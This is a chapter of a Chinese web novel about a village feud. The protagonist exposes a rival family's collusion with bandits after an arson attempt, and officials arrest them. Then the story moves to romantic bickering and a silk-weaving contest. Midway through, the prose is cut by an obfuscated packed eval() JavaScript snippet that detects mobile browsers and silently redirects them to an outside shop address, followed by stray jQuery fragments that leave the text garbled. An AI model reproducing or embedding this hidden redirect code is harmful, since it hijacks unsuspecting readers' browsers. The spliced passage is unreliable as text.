34
林高海就算再怎么不想认这个儿子,也得帮他洗清嫌疑,免得背负着纵火犯亲爹的名头,以后必定会被村里人赶出去,周围人都知道他们家的名声臭了,谁还敢让他们落脚。
他赶忙跑过去跟村长说:“这肯定是解家给我们家泼脏水。”
“火把是你们家的,李海刚才也承认了,是他把火把扔到解家的,还有什么狡辩的?”村长问他。
林高海没想到李海这么蠢,他打死不承认,也就没这么大的事了。
他们村子被投湖的、被烧死的人不少,一般都是偷情的,其余的打架、偷盗之类的,都被村长压在祠堂里打一顿板子就算了。
今天这火也没烧起来,怎么就这么严重了?
林高海还想狡辩几句,拉着村长说些软和话,“他也不是故意的,没出事,赶忙把事情闹得那么大。”
“不仅仅是这一件事吧,自从他来了咱们村子,咱们村子安生过吗?”村长被几个跟林家相熟的人也劝他,“也没什么大事,要是传出去了,对咱们村也不好,该说咱们村太严了。”
“他李海就不是我们村的人,他娘也是花楼里来的,都不是什么好人,今天放了他,明天他还要放火,我们可不想提心吊胆的过下去。”
“至少,得把他赶出咱们村子。”几个村民跟村长说,“不然我们现在就把他扔水里。”
“要不然送官府吧。”解今朝本来想着今天能看到李海死,结果他们三言两语,把陈塘变成了逐出村子了,太便宜他了,“咱们村子又不是封闭的,他想回来,还是可以随时回来。”
现在正是秋季,天气干燥,他要是再来放火,一整个村子都能被他点了。
“你们没听说过山那边有个村子,有人恶意放火,一整个村子的男女老少都死了的事吗?”解今朝小时候听过的传闻,传闻可能被夸大了,但他就是要把李海和那个村子的事联系到一起。
把所有村民都拉到统一战线上,让他们知道,若是放走了李海,就是让自己陷入危险当中,随时都有可能被烧死,他们才不能轻易放过李海。
果然,他这样一说,他们又开始低头议论纷纷。
李海瞧着自己命都要没了,开始攀咬起解今朝:“最该被沉塘的人应该是你!你都被山匪给糟蹋了,这种脏哥儿,留在村里也是败坏我们村的名声!”
“你胡说八道什么呢!我才被绑走,就被我爹用赎金给赎回来了,我们都没说你爹跟山匪勾结,故意让他们把我绑走的事呢,你反倒咬我一口。”解今朝之前没说,是没有证据,二当家也死了,重要的证人也没了,无凭无据,扯皮起来也麻烦,再被林家说他们是诬告。
现在他一时情急,就把事情给说了。
“什么?林家竟然跟山匪还有勾结?”
“我倒是听说过一些传闻,说林家黑白两道都有些人脉,这□□上的人不就是山匪么。”
“林高海勾结山匪,他儿子李海放火杀人,上梁不正下梁歪。”
“你胡说八道什么?谁跟山匪勾结了?”林高海后悔,刚才就不该过来,让他们把李海推河里去算了。
“我胡说八道,山匪亲口说的,你花钱求他们把我绑走,跟我爹要赎金,如果不了解我家,怎么那么清楚我们家只能拿出一千两,要是再要多一些,都拿不出来了?”解今朝冷冷的问他。
上辈子,他爹就是被林高海用这种方式给害死的,这辈子,他又要用同样的方法还是他。
“你少血口喷人,有什么证据?”林高海问他。
“你要证据?跟我会县衙,我拿证据给你。”人群后出现一队官差。
这次山匪的事上头很重视,解今朝以为山匪的事已经了解了,其实这段时间官府一直在审问山匪,要他们做的所有恶事都交代出来。
这一查,就查到了林家跟山匪勾结的事,林家不仅仅让他们劫解家,还偷偷摸摸跟山匪说了其他作坊的出货路线。
官差将林高海、李海押走,又去林家带走了十几个人。
李海腿都吓软了,刚才就吓尿过一次,现在更是被人拖着一路走一路尿。
解今朝站在人群中看着他们林家人被带走,心中无比畅快。
今天晚上是真够热闹的,村长差点气晕过去,这附近几个村子的富户哪家没被山匪劫过,林家勾结山匪,他这个村长在其他几个村长面前都抬不起头来了。
解今朝回去却蹦蹦跳跳的高兴得很,林家总算倒台了:“果然做恶事就是会被惩罚的,你说他们会不会被砍头?”
“这要看情节严重程度了,爹跟着官差回去,告李海纵火的事,他们家勾结山匪本就是大罪,又纵火,罪名怕是轻不了。”林醉低头看着鞋子上的黑印子,那是踢火把时候留下的。
若是火把正巧落在干草堆上,或者他们正在熟睡,估计现在已经被烧死了,他也瞧不见解今朝蹦蹦跳跳的样子了。
“希望爹不要心软,为他们说好话就好了。”解今朝高兴地坐在椅子上,心里一高兴,还想吃个宵夜,结果一坐在椅子上,揣在袖子里的花样甩出来了,他又想起来刚才跟林醉吵架的事了。
“我特意从县城给你买的花样,结果一回来就看到你去找别人画了,这些也用不上了。”解今朝说着就要拿着那些花样烧了。
林醉赶忙接过来:“我知道你心里惦记我,也知道你为什么会吃醋,但是谈生意就避免不了跟外人接触,更何况那绣娘已经成亲了,他们全家都在,我又能做什么?”
“没人你就能做什么了?”解今朝仿佛一个大男子主义的封建男人,不允许自己的爱人跟任何人接触,甚至不希望林醉出门,永远留在他的后院里。
“我对别人没兴趣。”林醉说。
“可是你也不看看自己多招人?”解今朝说完一愣,总觉得他们俩的对话很诡异。
他这话说的怎么一股男人味,以前他见过村里有些妇人、夫郎被流氓调戏,他丈夫或者其他男人就说他们穿的太招人了,现在他也怪林醉太招人了,怎么跟那群男人一样讨人厌了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646747|188153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“罢了,下次你要画什么花样,我陪着你一起去。”解今朝前段时间还想让林醉参与到家里的生意中,可现在他看到林醉独自出门,又忍不住吃醋。
“好。”林醉巴不得解今朝天天跟他黏在一起,走到哪里带到哪里。
……
解老二第二天回来:“林家这次怕是真的要完了,估计这辈子别想从牢房里出来了。”
解今朝有些可惜的说:“我还以为能看到他们家被拉去砍头呢。”
当初他开纺织厂,就像抢走林家的生意,让他们的货卖不出去,后来林醉把山匪杀了,加速了这个进程,不仅让林家的生意垮了,还让他们因为山匪的事被抓了。
“听说他们家现在都乱套了,林高海和李海被抓了,林高海那三个儿子正争夺家产呢,都打起来了。”百哥儿兴奋的从外头跑进来。
解今朝赶忙挽着他的胳膊:“走走走,这种热闹怎么能错过。”
解老二拉着他:“别误伤了你,对了,这次回来,还有件好事跟你说,县令说咱们省的丝织局要举办一场比赛,获胜的人,他家的料子有可能送进宫里,给宫里的娘娘们做衣裳穿,这是何等的荣幸。”
宫里娘娘对解今朝来说很遥远,尤其是他们这香云纱的工艺,不仅仅他们一家会做,只是他们家的工艺比别人家好一些罢了。
那些娘娘们什么好东西没有穿过,肯定早就见识过工艺更好的香云纱了,他们入选的几率不大,多半是去陪跑的。
不过即便得不了第一名,过去参加比赛,也能拓展些人脉,打响名气。
“比赛是不是要在省里?我还没去过那么远的地方。”解今朝有些向往,生活了两辈子,一直在他们村打转,最多去个县城,他向往能去更大的地方去看看。
“哥,你也带我过去呗。”百哥儿赶忙拉着解今朝的手兴奋的晃悠,“县城都那么好玩了,省城那边是不是更有意思?”
“肯定得啊。”解今朝正想跟百哥儿说要带什么东西过去呢,他们俩拉着的手就被林醉给拉开了。
“我跟你一起去。”林醉说。
“废话,当然要带上你。”解今朝心说去一趟省城比赛怎么也得一两个月的时间,林醉这么招人,不带在身边,心里肯定会乱。
之前他总说想给自己身体放个假,最近林醉一直忙他那个提花机,晚上还要教他写字,林醉变得比以前疲惫,精力没那么旺盛,有时候俩人脱了衣裳躺到床上,才说两句话,林醉就已经睡着了。
以前每天都做的时候他想放假,现在放假放多了,他又开始想了。
林醉询问了解老二比赛什么时候开始:“要是来得及,等我的提花机做好了,咱们用织花段子参赛。”
“比赛要等来年三月份才开始,算起来还有三四个月呢,还来得及,你慢慢研究,我看好你。”解老二每天看他那么认真在院子里鼓捣,不忍心打消他的积极性,鼓励几句。就算到时候做不出来也无所谓,就拿着他们家的香云纱去参赛就好了。